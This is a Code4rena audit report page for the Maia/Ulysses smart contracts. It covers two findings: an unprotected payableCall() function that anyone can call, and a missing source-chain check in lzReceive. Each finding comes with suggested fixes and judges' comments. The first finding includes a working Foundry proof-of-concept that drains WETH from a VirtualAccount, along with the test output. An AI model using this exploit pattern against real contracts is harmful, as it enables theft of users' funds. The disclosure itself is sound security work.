Platform: Code4rena
Start Date: 22/09/2023
Pot Size: $100,000 USDC
Total HM: 15
Participants: 175
Period: 14 days
Judge: alcueca
Total Solo HM: 4
Id: 287
League: ETH
Rank: 86/175
Findings: 2
Award: $25.79
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xTheC0der
Also found by: 0x180db, 0xDING99YA, 0xRstStn, 0xTiwa, 0xWaitress, 0xblackskull, 0xfuje, 3docSec, Aamir, Black_Box_DD, HChang26, Hama, Inspecktor, John_Femi, Jorgect, Kek, KingNFT, Kow, Limbooo, MIQUINHO, MrPotatoMagic, NoTechBG, Noro, Pessimistic, QiuhaoLi, SovaSlava, SpicyMeatball, T1MOH, TangYuanShen, Vagner, Viktor_Cortess, Yanchuan, _eperezok, alexweb3, alexxander, ast3ros, ayden, bin2chen, blutorque, btk, ciphermarco, ether_sky, gumgumzum, gztttt, hals, imare, its_basu, joaovwfreire, josephdara, klau5, kodyvim, ladboy233, marqymarq10, mert_eren, minhtrng, n1punp, nobody2018, oada, orion, peakbolt, peritoflores, perseverancesuccess, pfapostol, rvierdiiev, stuxy, tank, unsafesol, ustas, windhustler, zambody, zzzitron
0.1127 USDC - $0.11
The VirtualAccount contract provides a function called payableCall()
, allowing users to execute batch operations. However, this function lacks proper permission controls, enabling anyone to invoke it. This poses a significant risk. for instance, a malicious user could call the approve()
function of an ERC20 token, authorizing themselves to transfer tokens from the VirtualAccount contract. As per Ulysses' design, global tokens are stored in the VirtualAccount contract. Consequently, a malicious user could steal the global tokens from the contract.
function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) { uint256 valAccumulator; uint256 length = calls.length; returnData = new bytes[](length); PayableCall calldata _call; for (uint256 i = 0; i < length;) { _call = calls[i]; uint256 val = _call.value; // Humanity will be a Type V Kardashev Civilization before this overflows - andreas // ~ 10^25 Wei in existence << ~ 10^76 size uint fits in a uint256 unchecked { valAccumulator += val; } bool success; >>> if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData); if (!success) revert CallFailed(); unchecked { ++i; } } // Finally, make sure the msg.value = SUM(call[0...i].value) if (msg.value != valAccumulator) revert CallFailed(); }
In the following test code, two contracts are deployed: WETH and VirtualAccount. The owner of VirtualAccount is set to address(0x01)
. Subsequently, some WETH tokens are deposited into VirtualAccount. The hacker Address(0x03)
constructs a malicious operation: calls[0].callData = abi.encodeWithSelector(weth.approve.selector, hacker, type(uint256).max);
and then calls virtualAccount.payableCall(calls);
to execute this operation. Consequently, the hacker gains permission to transfer WETH tokens from the VirtualAccount contract, thereby stealing all the tokens.
//SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.8.16; import {Test, console} from "forge-std/Test.sol"; import "../src/VirtualAccount.sol"; import {WETH9 as WETH} from "./ulysses-omnichain/mocks/WETH9.sol"; contract VirtualAccountTest is Test { address public userAddr = vm.addr(0x1); address public localPortAddr = vm.addr(0x2); address public hacker = vm.addr(0x3); VirtualAccount public virtualAccount; WETH public weth; function testPayableCall() public { // depoly WETH and VirtualAccount weth = new WETH(); virtualAccount = new VirtualAccount(userAddr, localPortAddr); // send some weth tokens to virtualAccount vm.deal(address(this), 10 ether); weth.deposit{value: 1 ether}(); weth.transfer(address(virtualAccount), 1 ether); vm.startPrank(hacker); console.log("weth balance of hacker: %s", weth.balanceOf(hacker)); console.log("weth balance of virtualAccount: %s", weth.balanceOf(address(virtualAccount))); console.log("hacking ....................."); // payableCall approve hacker to transfer tokens from virtualAccount PayableCall[] memory calls = new PayableCall[](1); calls[0].target = address(weth); calls[0].callData = abi.encodeWithSelector(weth.approve.selector, hacker, type(uint256).max); calls[0].value = 0; virtualAccount.payableCall(calls); // transfer tokens weth.transferFrom(address(virtualAccount), hacker, 1 ether); console.log("hacked !!!!!!!!!!!!!!!!!!!!!!"); console.log("weth balance of hacker: %s", weth.balanceOf(hacker)); console.log("weth balance of virtualAccount: %s", weth.balanceOf(address(virtualAccount))); vm.stopPrank(); } }
The test results indicate that before the test execution, the amount of WETH tokens in VirtualAccount was 1,000,000,000,000,000,000. After the test, the WETH token amount is 0. all WETH tokens have been stolen by the hacker.
[nian@localhost 2023-09-maia]$ forge test --match-test testPayableCall -vv [â †] Compiling... [â ’] Compiling 1 files with 0.8.19 [â ˜] Solc 0.8.19 finished in 1.19s Compiler run successful! Running 1 test for test/VirtualAccountTest.t.sol:VirtualAccountTest [PASS] testPayableCall() (gas: 1432951) Logs: weth balance of hacker: 0 weth balance of virtualAccount: 1000000000000000000 hacking ..................... hacked !!!!!!!!!!!!!!!!!!!!!! weth balance of hacker: 1000000000000000000 weth balance of virtualAccount: 0 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.07ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Foundry
Add requiresApprovedCaller
to payableCall()
, allowing only the owner or an approved router to invoke this function.
Access Control
#0 - c4-pre-sort
2023-10-09T07:04:55Z
0xA5DF marked the issue as duplicate of #888
#1 - c4-pre-sort
2023-10-09T07:04:59Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-26T11:32:53Z
alcueca marked the issue as satisfactory
🌟 Selected for report: MrPotatoMagic
Also found by: 0xAadi, 0xDING99YA, 0xDemon, 0xRstStn, 0xSmartContract, 0xStriker, 0xWaitress, 0xbrett8571, 0xfuje, 0xsagetony, 0xsurena, 33BYTEZZZ, 3docSec, 7ashraf, ABA, ABAIKUNANBAEV, Aamir, Audinarey, Bauchibred, Black_Box_DD, Daniel526, DanielArmstrong, DanielTan_MetaTrust, Dinesh11G, Eurovickk, Franklin, Inspecktor, John, Jorgect, Joshuajee, K42, Kek, Koolex, LokiThe5th, MIQUINHO, Myd, NoTechBG, QiuhaoLi, SanketKogekar, Sathish9098, Sentry, Soul22, SovaSlava, Stormreckson, Tendency, Topmark, Udsen, V1235816, Viktor_Cortess, Viraz, Yanchuan, ZdravkoHr, Zims, albahaca, albertwh1te, alexweb3, alexxander, ast3ros, audityourcontracts, bareli, bin2chen, bronze_pickaxe, c0pp3rscr3w3r, cartlex_, castle_chain, chaduke, debo, ether_sky, gumgumzum, imare, its_basu, jaraxxus, jasonxiale, josephdara, kodyvim, ladboy233, lanrebayode77, lsaudit, mert_eren, minhtrng, n1punp, nadin, niroh, nmirchev8, orion, peakbolt, perseverancesuccess, pfapostol, ptsanev, rvierdiiev, saneryee, shaflow2, te_aut, terrancrypt, twcctop, unsafesol, ustas, versiyonbir, windhustler, yongskiws, zhaojie, ziyou-
25.6785 USDC - $25.68
According to the LayerZero docs, UAs should check that messages from trusted chain and known address. https://layerzero.gitbook.io/docs/evm-guides/master/receive-messages
However, BranchBridgeAgent
only checks the address and does not verify the source chain. The source chain here should be the root chain (Arbitrum). If there exists a contract on another network with the same address as the RootBridgeAgent
on the Arbitrum network, BranchBridgeAgent
may consider messages from this contract as legitimate and process them.
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L578-L584
function lzReceive(uint16, bytes calldata _srcAddress, uint64, bytes calldata _payload) public override { address(this).excessivelySafeCall( gasleft(), 150, abi.encodeWithSelector(this.lzReceiveNonBlocking.selector, msg.sender, _srcAddress, _payload) ); }
Deploying a contract on another network with the same address as the RootBridgeAgent on the Arbitrum network is a highly challenging task. However, if a hard fork occurs on Arbitrum, and LayerZero decides to support both networks, then there would be a situation where two contracts have identical addresses.
Adding a source chain check can prevent such situations from occurring.
In the following test code, we manually modified the ID of the Arbitrum network to simulate a hard fork on the Arbitrum network. Note that this is not a complete testing scripts.
function testSrcChainId() public { switchToLzChain(rootChainId); vm.chainId(31337); vm.deal(address(this), 200 ether); coreRootRouter.removeBranchBridgeAgent(address(avaxMulticallBridgeAgent), address(this), avaxChainId, GasParams(800_000, 0.03 ether)); switchToLzChain(avaxChainId); }
Foundry
function lzReceive(uint16 _srcChainId, bytes calldata _srcAddress, uint64, bytes calldata _payload) public override { >>> require(_srcChainId == rootChainId, "source chain error."); address(this).excessivelySafeCall( gasleft(), 150, abi.encodeWithSelector(this.lzReceiveNonBlocking.selector, msg.sender, _srcAddress, _payload) ); }
Invalid Validation
#0 - c4-pre-sort
2023-10-12T13:10:46Z
0xA5DF marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-10-12T13:10:51Z
0xA5DF marked the issue as primary issue
#2 - 0xA5DF
2023-10-12T13:11:31Z
I doubt this qualifies as med since the likelihood of this being exploited is extremely low But leaving open for sponsor to comment
#3 - c4-sponsor
2023-10-17T20:17:56Z
0xLightt (sponsor) confirmed
#4 - alcueca
2023-10-25T10:18:50Z
The preconditions for this vulnerability are too restrictive to warrant a Medium severity.
#5 - c4-judge
2023-10-25T10:18:58Z
alcueca changed the severity to QA (Quality Assurance)
#6 - c4-judge
2023-10-25T10:19:03Z
alcueca marked the issue as grade-a